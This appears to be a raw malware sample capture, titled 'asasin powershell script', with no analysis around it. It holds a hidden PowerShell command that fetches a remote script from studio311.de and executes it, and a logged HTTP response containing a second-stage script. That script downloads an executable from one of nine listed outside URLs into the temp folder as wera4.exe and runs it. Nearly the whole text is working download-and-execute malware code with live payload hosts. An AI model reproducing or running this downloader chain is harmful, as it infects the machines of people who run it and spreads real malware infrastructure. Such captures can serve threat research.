asasin powershell script

command

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -c "$rv=[System.Uri]'http://studio311.de/12';$dx=(new-object IO.StreamReader((([Net.WebRequest]::Create($rv)).GetResponse()).GetResponseStream())).ReadToEnd();IEX $dx;"




GET /12 HTTP/1.1Host: studio311.deConnection: Keep-AliveHTTP/1.1 200 OKServer: nginxDate: Tue, 07 Nov 2017 08:40:35 GMTContent-Length: 608Connection: keep-aliveX-Accel-Version: 0.01Last-Modified: Mon, 06 Nov 2017 14:37:40 GMTETag: "260-55d516583a5a2"Accept-Ranges: bytesX-Powered-By: PleskLin$cpknos = "http://lvps212-67-205-60.vps.webfusion.co.uk/mnbv374","http://ist-profy.ru/mnbv374","http://maeserdruck.com/mnbv374","http://hilaryandsavio.com/mnbv374","http://nikom.be/mnbv374","http://l-up.net/mnbv374","http://michelsmarkt.de/mnbv374","http://jimhalltreeservice.com/mnbv374","http://toftinrontonsfo.info/p66/mnbv374"$cpknos = $cpknos | Sort-Object {Get-Random}foreach($cpkno in $cpknos){Try{Write-Host $cpkno$scpm = "$env:temp\wera4.exe"Write-Host $scpm$dum = (New-Object System.Net.WebClient)$dum.DownloadFile([System.Uri]$cpkno, $scpm)Start-Process $scpmbreak}Catch{}}